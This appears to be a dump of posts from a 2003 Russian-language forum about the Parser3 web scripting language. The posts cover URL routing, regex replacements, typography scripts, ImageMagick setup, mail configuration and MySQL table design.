"14618","Может, дело в тайнтинге, хотя по логике не должно быть. Только что проверил, включив отображение whitespace: строка, таб, перевод строки.\
\
Версия parser3_3_0_0007_win32_cgi"
"14620","но, решения проблемы я не увидел. Каким образом скрыть адрес типа \
[code]?select=group&id=15&pr=1[/code]\
или как по другому организовать навигацию я не понял."
"14621","[code]\
^switch[$form:category]{ \
   ^case[news]{select from TABLE where id ='news'} \
   ^case[services]{select from TABLE where id ='serv'} \
         …          \
   ^case[DEFAULT]{} \
} \
[/code]"
"14623","http://www.parser.ru/forum/?id=14317\
\
Очень красиво можно action'ы организовать таким образом ..."
"14625","попробовал-бы переставить...\
\
попробовал-бы поставить mysql-odbc клианта и потестировать доступ к базе данных из него (Data Source)..."
"14627","[Mon Mar 17 17:54:21 2003] [error] [client 217.106.97.26] /1.html: c:/website/1.html(2): 'mysql://****@213.171.58.125:3306/dentalsoft' Can't connect to MySQL server on '213.171.58.125' (10061) [sql.connect]\
"
"14628","Как вы думаете?"
"14630","но на сервере c Windows.NET . \
оковыряй права, у парсера(и всех папок, кторые кнему отношение имеют)"
"14631","Ну тут типа упражнения на логику. Смотрим пра/вила, думаем, подставляем:\
\
В первом случае нечто: http://server/news/18-03-2003.html или /news/15/ \
Разбираем ури, сопоставляем, выбираем из базы.\
\
Во втором случае: /products/unitazy/bosh/\
здесь: unitazy - имя группы продуктов; bosh - производителей по обоим узнать id можно, а можно и не узнавать, смотря какая структура базы. Если плохая - сулят вам лишние запросы :) Комбинировать - пожалуйста /products/bosh/unitazy/ Формируем запрос, результат - тот же. Трудность - узнать где что.\
\
[перечитал - подумал, что это вообще очень прикольно и можно делать сложные выборки, например: /products/unitazy/bosh/svoboda/ и получим таблицу сопоставления гм... функциональных особенностей :)\
Как же теперь узнать где в запросе что???]\
\
/products и /news можно трактовать как имя таблицы и проверять на \"валидность\" (тогда ни одной папки из урлов не существует) либо делать физические папки для каждого раздела с нужными процедурами для раздела. Тогда select from products... прописывается явно. \
\
Это все просто мои домыслы."
"14632","Изучаю Parser по документации, выложенной на Вашем сайте. Добрался до 5-го урока. Там рассмотрен пример создания гостевой книги. Я вроде делаю все так, как написано, а результат такой:\
Unhandled Exception (Debug)\
z:/home/localhost/www/gbook/index.html(5:1): 'USE ' invalid special name. valid names are 'CLASS', 'USE' and 'BASE'\
exception.type=parser.compile \
\
Что я сделал неправильно?"
"14634","Люди подскажите как завести там базу данных.\
\
Ситуация следующая:\
- Это хостинг заказчика.\
- А тех поддержка меня посылает сюда http://host.ru/documentation/v-www/0025.html#10 и говорит что там всё написано, но я не черта ни конимаю. У меня нету Unix-Shell а база нужна. Если кто знает как её получить из Win98 сообщите пожалуйста."
"14635","есть подозрение, что вы сами не знаете чего хотите...\
\
> Для начала работы с базой данных, Вам необходимо установить пароль \
> обращения к Вашей базе (через web интерфейс на сервере статистики). \
> Имя пользователя и базы совпадают с Вашим логином на хостинговой машине \
> (на хосте home.<имя домена>).\
\
мне кажется что вам создавать базу уже не нужно.\
\
А если вам нужно начать работать с базой данных, то попробуйте\
\"сделать web-интерфейс к MySQL\" \
\
по этой ссылке всё достаточно подробно написано\
http://host.ru/documentation/v-www/0025.html#10\
\
"
"14638","В примерах мы использовали такие операторы как @greeting[]\
при этом в index.html мы могли полностью изменить этот оператор, как сделать так, чтобы не изменять а добавлять?"
"14639","в главном (тот, к которому вы хотите \"добавлять\"), определите вызов \"добавляющего метода\"\
[code]\
@greeting[]\
...\
here we go\
...\
^append_greeting[]\
[/code]\
...при этом не забываем определить \"заглушку\".\
Далее, на странице, где вам требуется \"добавить\", определяете ваше \"добавление\"\
[code]\
@append_greeting[]\
...\
it's our new content\
...\
[/code]\
\
Это один из вариантов.\
\
А зачем вам это?"
"14640","А чтобы не захламлять заглушками auto.p и собственный мозг, можно писать\
\
[code]\
^if[$append_greeting is junction]{\
  ^append_greeting[]\
  }\
[/code]"
"14641","Почему-то ^table::load[http://somewhere/cgi-bin/script.exe]\
работает, а ^file::cgi[http://...] или ^file::exec[http://...]\
нет :(\
\
А как-то вызывать удалённый скрипт хоцца... что делать посоветуете???"
"14642","чем тебя не устраивает это:\
$f[^file::load[text;http://somewhere/cgi-bin/script.exe]] ?\
\
фактически парсер сделает http запрос на заданый тобой url, и ему пофигу, cgi скрипт там или еще чего...\
\
а потом смотри в $f.text"
"14643","Что получить... ключ хочу получить :)\
У меня кейген виндовый, лежит на NT-хостинге, а сайт на парсере под FreeBSD. Ни сайт на винду, ни кейген на фрю переносить не хочу.\
\
Ну да ладно, file::load меня устроит, заголовки руками отрежу :)"
"14644","Но! Он append_gtreeting можно переопределять только один раз.\
А если мне нужно спускаясь по структуре коталогов добавлять что-то в этот опретор? Несколько РАЗ!\
\
А нужно мне иногда методы не стондартные подключать там или сям, при этом не убивая все то, что было добавлено ранее..."
"14645","это в пользовательских классах можно делать\
[code]\
@method[]\
^BASE:method[]\
[/code]\
\
в собираемом из частей классе MAIN так пока нельзя, хотя, наверное, было бы удобно.\
подумаю."
"14646","Конкатенация строк пойдет?\
\
[code]\
$location[\
  $location\
  / каталог следующего уровня\
]\
[/code]"
"14647","Вот более наглядный пример:\
[code]\
$location[каталог первого уровня]\
$location[$location / каталог следующего уровня]\
$location <br><br>\
$location[$location / каталог третьего уровня]\
$location <br><br>\
[/code]"
"14650","Какой вопрос такой ответ.\
У меня ПРЕКРАСНО работает именно в такой конфигурации."
"14651","Отличия от того, что на этом форуме публиковалось ранее:\
- для обеспечения совместимости существуют версии на Perl и PHP\
- таблицы у всех версий одинаковые и вынесены в отдельные файлы (tab-separated)\
- замена производится в два этапа: сначала расставляются внутренние теги, потом они заменяются на entities. Таким образом, возможно существенное увеличение возможностей в дальнейшем при использовании XSL-transformation\
- сокращения (и короткие слова) обнаруживаются (для расстановки неразрывных пробелов) автоматически, их списка не существует\
- понимаются разные стили написания вложенных кавычек, строки\
[code]ООО \"Фирма \"АБВ\"\".\
ООО \"Фирма \"АБВ\".[/code]\
воспринимаются одинаково\
- все стандартные знаки заменяются на соответствующие им entities\
\
Демо: http://freetypo.sourceforge.net/demos/parser/\
Исходники: http://prdownloads.sourceforge.net/freetypo/typo-0.2.zip?download или http://prdownloads.sourceforge.net/freetypo/typo-0.2.tar.gz?download\
Лицензия - GPL\
\
Замечания и сообщения об ошибках приветствуются."
"14652","Если ввести к примеру ООО \"Фирма \"Терминал\" то получается косяк.\
Он ставит вторую кавычку (лапку) которой быть не должно."
"14653","строка:\
<color=\"red\">\"что день грядущий нам готовит...\"\
обработалась как:\
<color=&laquo;red\">&laquo;что&nbsp;день&nbsp;грядущий нам&nbsp;готовит&#133;\"\
а надо было:\
<color=\"red\">&laquo;что день грядущий нам готовит&#133;&raquo;"
"14655","Главное чтобы стиль вложенных кавычек отличался от базовых. Правила в русском языке такие ..."
"14656","Я ж привел живой пример, в названиях фирм часто встречается:\
ООО \"Фирма \"Терминал\" \
Все кавычки должны быть одного стиля."
"14657","чтоб их эти фирмы с такими названиями"
"14658","И видим Вопрос № 40215:\
[quote]\
Скажите пожалуйста, как правильно написать сокращенное название, к примеру Открытое Акционерное Общество Холдинговая Компания ИмяКомпании. Мне сказали, что правильный вариант ОАО \"ХК \"ИмяКомпании\", т.е. без вторых закрывающих кавычек. Спасибо.\
Сергей\
\
Ответ справочной службы русского языка\
[b]Рекомендуем: ОАО <<ХК \"Имя_Компании\">>.[/b]\
[/quote]\
\
Иными словами писать надо и те и другие кавычки!!! И они должны быть разными!!! Что логично..."
"14659","В таком случае скрипт считает, что предложение не законечно. Если добавить в конце точку или перевод строки то всё будет правильно."
"14660","Поэтому и используются внутренний формат, где нету никаких \"лапок\" и \"ёлочек\", их можно заменить на что угодно в файле exprs.txt.\
\
Про теги: недоработку подтверждаю, не учёл."
"14661","На самом же деле, при регистрации названия фирмы ставят три кавычки \"слово \"слово\" и от этого не уйти.\
Просто я вел к тому что пример нужно дополнить и на такой случай."
"14662","вот именно: у нас препод по культуре речи и чего-то там(я пропустил весь курс его лекций, все равно \"автомат\" вышел)6 говорит в таких случаях: ОАО <<чайники \"тула\">> рекомендовано писать как: ОАО \"чайники \"тула\". это буквально было в нояьре прошлого года."
"14663","... т.к. при письме для вас разные типы кавычек малодоступны. Другое дело области в которых используются наборные шрифты, которые содержат все необходимые знаки ..."
"14664","Как, при xslt-трансформации сохранить некоторые тэги исходного .xml файла?\
\
Т.е. :\
есть текст в БД, содержащий табы и энтэры. При выводе текста требуется сохранить форматирование, т.е. заменить все переводы на <p />, все -> на 8 &nbsp;. Это решается с помощью глобального .replace[]. В результате получаем примерно такой xml :\
[code]\
<message....>\
  <author>...</author>\
  ..\
  ..\
  <body>\
  bla bla bla<p />\
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bla bla bla<p />\
  ...\
  </body>\
</message>\
[/code]\
при xslt трансформации, если вытягивать значение <body> через <xsl:value-of select=\"body\" />, мы получим только текст, без <p /> тэгов.\
\
[b]Как сохранить форматирование?[/b]\
\
Как вытянуть значение <body> полностью? По идее, нам нужен весь нод <body>, но как его взять? Нигде не нашел."
"14665","отвечаю за all :))) меня очень раздрожает когда я хожу по каталогам и если там ещё чё там выскакивает меня это откровенно бесит...:((((\
по крайне мере мне и моему заказчику мой вариант как то актуальней, вот на присер каталог http://www.zaporizhstal.com/products/consumer_goods/\
"
"14668","Копию HTTPD.Conf (настроечные разделы) показать не зазорно будет???"
"14669","сори за оффтоп...\
Подскажите как выбрать столбцы из MySQL в верхнем регистре..."
"14670","Александр, вам [url=\"http://www.parser.ru/docs/lang/stringuplow.htm\"]^string.upper[][/url] ни о чём не говорит?"
"14672","т.е. слелать process[] как то ответ process'a положить в строчку и добавить к переменной и выводить ее в нужном операторе?"
"14673","Взял строчку из примеров\
$text[^text.match[\\[(url)=(\"?)(.{9,}?)\\2\\](.+?)\\[/\\1\\]][gi]{<ahref=\"${match.3}\">${match.4}</a>}]\
работает!\
\
заменил на \
$text[^text.match[\\[(img)=(\"?)(.{9,}?)\\2\\](.+?)\\[/\\1\\]][gi]{<a href=\"${match.3}\">${match.4}</a>}]\
не работает!\
\
Так и сяк поклепал: не работает! Ну не разбираюсь я в регулярных выражениях.\
\
Нужно [img=лала1]лала2[/url] заменить на <img src=\"лала1\"><div>лала2</div>\
или что то в этом роде.\
Но самый шик был бы если  каждый [img] в тексте заменялся на <img src=\"XXX.jpg\">,  где XXX порядковый номер найденного вхождения подстроки.\
"
"14674","...советую выучить regexp - пригодятся.\
\
По делу :\
расписывать не стану(все равно не разбираетесь..:)), вот код\
[code]\
$text[^text.match[\\[(img)=(\"?)(.{4,}?)\\2\\]][gi]{<img src=\"${match.3}\" />}]\
[/code]\
который заменит все вхождения [img=\"some_image.ext\"] на <img src=\"some_image.ext\" />.\
\
По правилам Парсера, вам бы еще не мешало сделать .measure[] полученного файла."
"14675","... в регулярном выражении содержится конструкция: (.{9,}?) которая означает, что после знака равенства должно находится 9 или более символом (url очень сложно сделать <9 символов)... есть подозрение, что ты когда делаешь тест, то у тебя там меньше 9...\
\
по второй части балета... что-то типа этого:\
[code]\
$n(1)\
^text.match[^[img^]][gi]{<img src=\"${n}.jpg\"/>^n.inc(1)}\
[/code]"
"14677","Уважаемые коллеги! :)\
\
Подскажите, плиз, механизм обхода этой ошибки. (акромя try)\
Может JavaScript поможет? Если да, то как? Спасибо.\
\
PS. Отправляем текстовый файл (таблица), далее он должен загоняться в мускул..."
"14678","\"Хрен вам,\" -- вскричали юные \"пионеры-\"ленинцы\".\
\
преобразуется в\
\
\"Хрен вам,\" -- вскричали юные \"пионеры-&laquo;ленинцы&#147;&raquo;.\
\
Что неправильно."
"14679","Использую ДЕНВЕР 2.0 (под WinXP)\
Скачал 2002-11-26_ActivePerl5.6.1.exe - пакет для Денвера второго. Установил - все встало без проблем\
скачал PerlMAgick-full c сервера imagemagick-а.\
Делаю ppm install image-magick.ppd - все ставится нормально, но в конце пишет\
\" Can't stat X:\\usr\\html/lib: No such file or directory\
 Can't stat X:\\usr\\html/site/lib: No such file or directory\"  и вываливается\
Этих директорий действительно нет. Но их также нет если ставить тот же пакет PerlMAgick-full  на стандартный ActiveStat-oвский перл , а при этом ИмэджМайджик ставится без ошибок.\
\
Форум вроде все обыскал..\
\
1) Вопросище - что тут делать (в ком проблема)  - очень нужен ImageMagick - надо пример Eugena Sperance юзать!\
2) как проверить, встал Image-magick или нет?\
\
Спасибо за внимание, и извинения по поводу избитой темы!"
"14680","Поставить на локальной машине ImageMagick у меня тоже долго не получалось, но тем не менее удалось. \
Я не пользую Денвер, поэтому точно не знаю как все устроено там, но могу описать как я ставил ImageMagick без Денвера\
Сначала скачал последнюю версию ActivePerl c официального сайта, затем скачал ImageMagick-i686-pc-windows.exe, где-то с серверов Image-Magick.\
Начал все по-порядку ставить, и огреб ошибку, т.к. Image-Magick был скомпилен под старую версию Perl.\
Пришлось найти ActivePerl-5.6.1.633-MSWin32-x86.msi, и установить его. Потом инсталить Image-Magick и прикрепить к Perl-у библиотеку через \
[code]\
ppm.bat install c:/1/Image-Magick.ppd\
[/code]\
замечу что слеши нужно ставить не прямые \\, а обратные /.\
\
Вот собственно и все, ах да как проверить?\
[code]\
#!/usr/bin/perl\
use Image::Magick;\
[/code]\
Этого вполне достаточно, если библиотека подключена, то ошибки не будет...\
\
Всеже возникает такая мысль что нужно закончить описание которое я начал писать, по установке Apache, Parser, MySQL, Perl и ImageMagick на локальную машину. В выходные займусь."
"14683","\"исследовать проблему с неожиданным SIGPIPE при file::exec\"\
http://i2/tasks/edit/?id=4485517484341929060\
\
$.stdin[] помогло.\
выходит, что падает из-за того, что parser не может ВЛИТЬ ему данные, которые тот не просит.\
todo: подумать, что сделать. \
тривиальный вариант: $.stdin[$request:body] чтобы и перепихивал post, а по-умолчанию этого не делал. впрочем, не очень мне это нравится."
"14685","Я же Перл-скрипту не передаю весь пост. Ему передаеться лишь несколько символов из таблицы, которая загрузилась \"post`ом\".\
\
#Считывание данных из солонки таблицы\
$PasswordFile[$PriceFile.pass]\
\
#Отправлем несколько символов на расшифровку скрипту\
$f[^file::exec[/../cgi-bin/pass.pl;$.CGI_INFORMATION[$PasswordFile]]]\
\
Есть ли какой-нибудь выход?"
"14686","вы не передаёте, я передаю(передавал). по умолчанию. вместо вас."
"14687","есть 2 матча(хочу отловить показ инициалов пере фамилией и поставить после инициала и точки неразрывный пробел):\
[code]\
# вот этот не пашет(для отлова В. В. Путин => В.В.&nbsp;Путин):\
$7atx[^7tx.match[(\\s[A-ZА-Я]+)\\.\\s([A-ZА-Я]+)\\.\\s][g]{ ${match.1}.${match.2}. }]\
\
# а этот нормально работает(для В. путин => В.&nbsp;Путин)\
$7btx[^7atx.match[(\\b[A-ZА-Я]+)\\.\\s(\\b)][g]{${match.1}.&nbsp^;${match.2}]\
[/code]\
кто скажет где косяки??"
"14690","Народ подскажите как реализовать сабж впринципе на парсере буду очень признателен."
"14691","Мне интересно как работает ^mail:send на Win32. Дело в том, что при попытке отправть почту выдайтся следующее:\
[code]\
Unhandled Exception (Debug)\
\
connect to smtp.domain.ru:25 failed\
\
send\
\
D:/.../request.html(24)\
\
exception.type=smtp.connect \
[/code]\
\
В чём здесь дело. Где с каким сервером он пытается соединиться?\
Можноли указать какой сервер для отправки нужно использовать?"
"14692","[code]\
$7atx[^7tx.match[(\\s[A-ZА-Я])\\.([\\s]?)([A-ZА-Я])\\.\\s][g]{ ${match.1}.${match.3}.&nbsp^;}]\
[/code]\
\
$7btx[^7atx.match[(\\b[A-ZА-Я]+)\\.\\s(\\b)][g]{${match.1}.&nbsp^;${match.2}]\
Этот пример может не срабатывать в таких вот конструкциях:\
Потому что так сказал Я. Василий мне ответил.\
Испраит это так Я.&nbsp;Василий"
"14693","[code]\
^file::exec[ваш/скрипт;\
   $.stdin[]\
]\
[/code]\
\
[я было собирался написать, что просвета нет: «вы не вчитались», но передумал :)"
"14695","Найти в инете какое-нибудь руководство по электронной коммерции, посмотреть как люди делают, а потом задавать вопросы в форум или даже можно мне на е-мейл, поскольку я уже один магазин на парсере сделал."
"14696","Надо в файле настроек парсера (auto.p) \
вместо smtp.domain.ru указать свой (или чужой, но существующий и пропускающий Вас) smtp сервер"
"14697","subject\
[quote]\
Этот пример может не срабатывать в таких вот конструкциях:\
Потому что так сказал Я. Василий мне ответил.\
Испраит это так Я.&nbsp;Василий\
[quote]\
 - мы художественных текстов не публикуем. хотя позже надо будет переделать и для этого.\
\
2 all: может в фак кинем небольшой набор правил(без самих реализаций или с ними) типографики? чтобы все в одном месте было."
"14699","BTW, запятая ставится не перед закрывающей кавычкой, а после, \"пионеры-ленинцы\" в таком контексте пишутся без кавычек вообще."
"14700","ну я непонимаю принципа авторизации пользователя \
т.е. например пример \
База на MySql\
В ней будет: \
таблица с товарами\
таблица с юзверями\
и таблица со статистикой\
\
1. Как реализовать авторизацию\
2. соответственно после нее юзверь должен ходить только по своему разделу\
3. статистика должна отображаться для конкретного юзверя\
4. ну и выход юзверя "
"14701","Там и прога маленькая есть, которая все сделает за тебя :)"
"14702","На странице, есть картинки, но некоторых файлов может не быть.\
\
Как сделать средствами Apache определение отсутствие этих файлов(без указания каждого из них), что бы он показывал другую картинку.\
Спасибо."
"14704","Из лога:\
\
[Fri Mar 21 13:03:32 2003] out of pool memory: failed to allocate 590 bytes; already allocated on pool: 20479743 bytes in 743801 times \
\
Конструкция была:\
\
^file::exec[/../cgi-bin/pass.pl;\
	$.CGI_INFORMATION[$Password]\
	$.stdin[]\
]\
\
PS. «вы не вчитались» - параллельно я пытаюсь освоить C#, может поэтому?! :) Говорят, что его код можно на разные платформы компилить (с помощью проекта MONO). Не в курсе, слУчаем, можно на нем что-то по типу Парсера писать для Unix`a?\
"
"14705","Как криптовать пароли и заводить новых юзверей есть в документации, остальное не так сложно. Как разберетесь с htaccess остальные вопросы отпадут сами."
"14708","Настроил у себя на сервере (FreeBSD)\
\
[code]\
$MAIL[\
   $.sendmail[/usr/sbin/sendmail]\
]\
[/code]\
\
Работать перестало.\
\
Интересно то, что указан путь по умолчанию и sendmail там есть, а Парсер ругается:\
[code]\
Parser was configured with --with-sendmail=/usr/sbin/sendmail -i -t -f postmaster key, to change sendmail you should reconfigure and recompie it\
\
send\
\
/usr/virtual-servers/.../request.html(24)\
\
exception.type=parser.runtime \
[/code]\
Я чего-то не понимаю?"
"14709","Мisha!\
\
Подскажи мне, пожалуйста, как лучше организовать хранение форума в БД.\
Форум древовидный, примерно такой же как на parser.ru\
Есть две таблицы для общей информации по сообщениям и для \"тел\" сообщений.\
Вопрос в следующем - если форум очень активно посещается, т.е. вернее на него много пишут и накапливается в таблице 10-100 тыс. записей (сообщений) - я думаю форум потихоньку начнёт притормаживать при выводе веток форума, про поиск не говорю. Использование индыксов это всё понятно, но не стоит ли делать архив форума, т.е. периодически старые ветки переписывать в другую таблицу точно такой же структуры. Т.о. таблица, содержащая \"новые\" сообщения будет меньше и обработка запросов будет быстрее (или этого делать не стоит и я не прав).\
\
При использовании таблицы-архива можно при поиске дать пользователю возможность выбирать \"искать в новых\", \"искать в архиве\", \"искать везде\".\
\
Каково твоё мнение на этот счёт или с использованием таблицы-архива даже не стоит заморачиваться.\
\
P.S.: Если у кого-то, кроме Миши, будут ценные идею с удовольствием прислушаюсь."
"14711","1. бинарники собраны с фиксированной командой оправки почты [потому, что в safe mode], менять её на ходу нельзя. собственно, это и написано в сообщении об ошибке.\
\
2. даже если бы можно было поменять, команду задаёте неправильную — где ключи?\
\
3. чем вас не устроил /usr/sbin/sendmail с нужными ключами, который [b]по-умолчанию[/b] и используется? видите в тексте сообщения об ошибке?\
\
от добра ищете добра, или какая-то проблема есть?"
"14712","я в конфиге (том, что под Win32) прописал другой сервер, а Парсер продолжает пытаться соединиться с smtp.domain.ru:25."
"14714","1. 100 тысяч записей для sql - совсем не много\
2. правильные составные индексы все решат значительно лучше и без головной боли (+ кучи работы)\
3. если нужен архив для поиска - добавь лучше столбец is_archive (только кто сообщения в архив перетаскивать будет? и в чем его фан?)\
4. если очень критично быстродействие - делай форум, который без рекурсии... но все равно не занимайся переписыванием данных... от этого sql-ю плохо станет..."
"14715","это вы только что написали, что пытались что-то менять.\
приведите кусок вашего кода, и укажите, где вы его написали.\
\
в auto.p в поставке, в методе conf написано\
[code]\
$MAIL[\
	$.SMTP[smtp.domain.ru]\
]\
[/code]\
\
судя по сообщению об ошибке вы не пытались этот адрес менять."
"14716","Бивис, рули сюда:\
\
http://www.egoroff.spb.ru/portfolio/apache/mod_rewrite.html\
http://www.egoroff.spb.ru/portfolio/apache/rewriteguide.html\
\
Там много интересного.\
\
PS: Простите за скромность."
"14719","forum.tomsk.ru\
написан на Php, но сиквел там MySQL\
объём данных сейчас больше 200 Мбайт, записей несколько лямонов:\
Тем: 53 566 | Сообщений: 1 591 944 | Пользователей: 6 456 | Слов: 17 002 146 \
в день больше 10000 хитов.\
нетормозит, хотя там машинка достаточно слабая - 2xp3-500, 512 Mb ОЗУ, и на этой машине хостится еще штук 20 сайтов.\
так что для MySQL 100 тыщ записей - не объём %)"
"14721","как он сюда то попал? в отдельный трэд? ("
"14724","ну несовсем я нехочу чтобы при авторизации у меня открывались всякие там окна с просьбой залогиниться... \
Да и потом несовсем ясно как сделать чтобы пользователь ходил по своему разделу это типа надо каждому юзверю свой html писать ??? \
А на идея такая чтобы взависимости от зашедшего пользователя формировались страницы по шаблонам в соответствии с его настройками в MySql"
"14725","а теперь скажи мне - как наш редактор(сидит на MacOS 9) будет это запускать?"
"14727","силы воли не хватает, пока."
"14728","Хочу оттипографить всю страницу целиком... \
т.е. как отловить тексты окромя тегов???"
"14729","А тебе вместо отсутствующих файлов одну картинку (na.gif) или разные в зависимости от чего-то?"
"14730","Здравствуйте.\
\
Пожалуйста, подскажите, что быстее поиск по таблице с помищию \
[code]table.locate[/code]\
или перебор\
[code]table.menu[/code]\
В ман, про это не нашел."
"14733","для небольшого количества данных < 10000, ну а вообще по логике locate шустрее должен быть, и условий писать отдельным ^if-ом не нужно...\
"
"14734","^dbconnect{\
         $heading_task_table[^table::sql{SELECT task_kind,menu\
                                         FROM heading_kind\
   		                         WHERE nmbr=$nmbr}]\
          }\
$task_kind[$heading_task_table.menu] --вот тут то и ломается!\
\
Т.е я так понимаю, что он пытается применить метод .menu\
и ругается как то странно\
\
[Fri Mar 21 11:02:50 2003] /administration/: /home/avenger/pub/html/auto.p(12): 'body' contains illegal assignment attempt of junction to MAIN method_frame, use constructor [parser.runtime]\
\
С чем это едят? я так понимаю что .menu - вроде зарезервированного слова."
"14736","«и потом я пытаюсь выводить переменную $task_kind сам не знаю зачем»\
\
что происходит: вы положили [url=\"http://www.parser.ru/docs/lang/junctionclass.htm\"]junction[/url] в переменную, затем попытались её распечатать.\
\
этого(и многого другого) делать нельзя.\
пример похожего сообщения о похожем безобразии:\
[code]\
@main[]\
^table::create{сломается}\
[/code]"
"14737","Здравсвуйте.\
\
По форуму, уже искал, ответа не нашел.., решил спросить.\
\
Скажите, кто нибудь ставил р3 на h1.ru (где-то на форуме, читал что это невозможно..) или вообще на бесплатном хостинге. \
\
Сейчас просто обдумаваю за и против нормального хоста (в том смысле что однажды он будет, а пока суть да дело..). Некоторое время сегодня уже промучался, хочется прислушаться к старшим.\
\
Спасибо.\
\
\
\
"
"14739","Сначала пытался P2, потом P3 туда поставить и забил.\
Есть хостинг hoha.ru но он уже 4 месяца как мертвый. Вот там я P3 хоть и не без проблем но поставил."
"14740","Берём калькулятор и считаем:\
\
Дупустим в день 200 постов, тогда за 10 лет накопится 200*365*10=730000\
\
Это не цифра для такого периода, - закон Мура и всё такое, ну вы меня понимате :)"
"14741","хотя если у вас много свободного времени и много нервов, - вперёд. Нам потом расскажете."
"14742","Быть может...\
А переменную $task_kind  я не пытаюсь выводить, это пример.\
\
Но если в запросе к базе данных поменять поле menu на ,скажем, menu_nmbr и сделать $heading_task_table.menu_nmbr то все нормально сработает. \
\
А junction в переменную я не пытался ложить - я поле table'а туда ложу."
"14743","для них количество записей в табличке не особенно критично...\
\
и уж точно, если самому ручками перепихивать записи из одной таблички в другую - будет ХУЖЕ.\
\
если стоит задача космического масштаба, то и сервер надо выбирать соответствующий..."
"14744","Понятно, спасибо, иду в ближайший банк.\
"
"14745","вы кладёте туда [b]метод[/b] table, это junction.\
\
это всё: плата за удобные junctions.\
если очень нужно создавать таблицы с полями, чьи имена совпадают с именами методов: для доступа используйте [code]$table.fields.имя[/code]"
"14747","...положи все подходящие картинки в одну папку и туда .htaccess\
ErrorDocument 404 /p/myalbum/atom.gif\
\
Какая нафиг разница."
"14750","[code]\
@my_method[]\
$a(100)\
^a.inc(200)\
$result[$a]\
\
#и где вам нужен результат работы метода\
$my_var[^my_method[]]\
[/code]"
"14751","еще есть примеры алгоритмов, для, так называемой, типографики (http://webcode.ru/use/) смотри и думай, как это можно реализовать...\
\
Если чесно, то у егорова на сайте выложены исходники сайта, так вот там в index.html все оч. хорошо написано!"
"14752","Вот что забыл - а как быть, если нужно ещё и POST-запрос отправить???\
Я-то свой скрипт ремотный переделаю, а в принципе-то... ???"
"14754","Наверное не совсем по Парсеру, но все же...\
\
Имеется 2 таблицы в БД. \
\
В одной id, заголовок, текст и файлы (как хранить надо придумать, поэтому и спрашиваю [нужна возможность делать ссылки сразу на несколько файлов]).\
\
В другой id файл ссылка на файл и что-нить еще...\
\
Надо, чтобы одним запросом к MySQL Парсер получил одну запись из БД с заголовком и текстом, а также все файлы (по id) указанные в поле файлы первой таблицы.\
\
Возможно ли это реализовать? Или как лучше это сделать?"
"14755","Спасибо Eugene Spearance!\
Что касается Мэджика - то я Ваш пример пытался заставить работать - не получается, видимо мэджик криво встал  - сейчас скачиваю бинари 6хх под винду. А то какая-то проблема с путами - мэджик не находит картинку, но если эту же картинку перед мэджиком просто на экран вывести - то пожалуйста. \
Сейчас снесу заново новый мэджик поставлю, может поможет!"
"14756","дас.. сейчас решил посмотерть на hoha.ru - мертвый...\
\
Парсер там встал у меня легко, но вот потом такое началось....(((((\
\
Что то у них там было походу с путями.\
\
И именно хохе я благодарен за то))), что она меня так мучала, что я сорвал свою задницу и оплатил нормальный хостинг...\
"
"14757","а, agat, спасибо за присланый опросник. Усе поставил, заработало))\
Есть глюки конечно, но бум теперь все это юзать и фискать."
"14758","первая таблица без изменений.\
во второй id, post_id, file_ext, ну и что тебе там ещё надо\
итак id, индетефикатор, а также имя файла, post_id, это номер поста к которому принадлежит файл, file_ext - расширение файла, \
таким образом смотри если ты грузишь файл через форму, сначал пишешь в первую таблицу берёшь из неё last_insert_id(), потом пишешь по очериди загруженные файлы из формы, вставляешь записи во вторую таблицу, берёшь расширение пихпешь его в file_ext, берёшь last_insert_id(), и с этим именем записываешь файл, вот и всё только тебе придёться делать объединение при запросе, получишь табличку отменюшишь её и всё...  "
"14759","Скажите пожалуйста, как проверить директорию  на наличие файлов заданного типа, например  html, и повыдергать из этих файлов только то, что между тегами <title>"
"14760","Форум предназначен для обсуждения парсера и другие темы здесь, по-моему, особенно не приветствуются.\
Но  при этом здесь  \"обитает\" очень много людей,  хорошо разбирающихся в дизайне (в общем смысле)\
\
Так вот, чтобы не загромождать зря форум, не подскажите ли мне какие-нибудь аналогичные форумы (спрофессионалами такого же  класса) на тему не только парсера\
Буду очень благодарен"
"14761","xpoint.ru\
\
\
livejournal.com/community/ru_coding\
livejournal.com/community/ru_design\
livejournal.com/community/ru_webdev\
livejournal.com/community/ru_icons\
livejournal.com/community/ru_cms\
..."
"14762","то мне придется плодить в таблице такую гору файлов, что не желательно, как я понимаю...\
\
Так, что этот вариант не подходит!"
"14763","у нас сейчас порядка 2 милионов записей\
каждый год уничтожаем старые темы - два года и больше давности\
в день постов. ну гораздо больше 200 )\
в одной теме за день бывает по 300 постов, а тем больше 50000 %)\
активных за день больше двух сотен )\
итого ) тыщи 2 постов в день только так )\
2000 * 365 = 730000 в год )\
так и есть примерно ;)\
"
"14764","делай в первой таблице столбец file_list в котором будут перечисленны имена файлов через какой-нибудь разделитель , потом когда вытыщешь, match'eм получишь свои файлы...\
я не знаю конкретной задачи в плане смысла, ну т.е. для чего надо вот и предложил, первый вариант более динамичен, там индивилидуазируется каждый файл, к нему например можно комменты добовлыть и ещё что нибудь...\
а то что кол-во записий увеличеваеться, то как говорит Misha v.3 \
http://www.parser.ru/forum/?id=14743\
я не знаю как подругому в MySQL делать связь \"многие ко многим\"...\
так что может кто ещё идею даст..."
"14765","http://www.parser.ru/docs/lang/?filelist.htm\
http://www.parser.ru/docs/lang/?fileload.htm\
http://www.parser.ru/docs/lang/?stringmatch.htm"
"14766","Как зделать чтобы в мене в файл с таблицой добавлялись сообщения с некоторых полей?????"
"14767","[code]\
# табличка с записями\
create table article (\
	article_id int(10) not null default 0 auto_increment primary key,\
	dt datetime not null,\
	content text,\
	is_published tinyint(4) not null default 0\
)\
\
# индекс для быстрой сортировки записей\
create index ix_article_0 on article (\
	is_published,\
	dt\
)\
\
# табличка, где зарегистрированы все картинки\
create table file (\
	file_id int(10) not null default 0 auto_increment primary key,\
	file_name varchar(127) not null,\
	description varchar(255)\
)\
\
# табличка с \"резинками\"\
create table file_to_article (\
	file_id int(10) not null default 0,\
	article_id int(10) not null default 0,\
	sort_order int(10) not null default 0\
)\
\
# индекс для более быстрого join-а с сортировкой\
create index ix_file_to_article_0 on file_to_article (\
	article_id,\
	file_id,\
	sort_order\
)\
[/code]\
\
P.S. писал с листа, мог ошибиться в синтаксисе..."
"14768","я делал расчет по примеру этого форума. От форума на котором 2 штуки сообщ. в день толку не много, ибо разобраться в такой массе сообщений тяжко и мух от котлет отделять тоже. Это флейм а не форум."
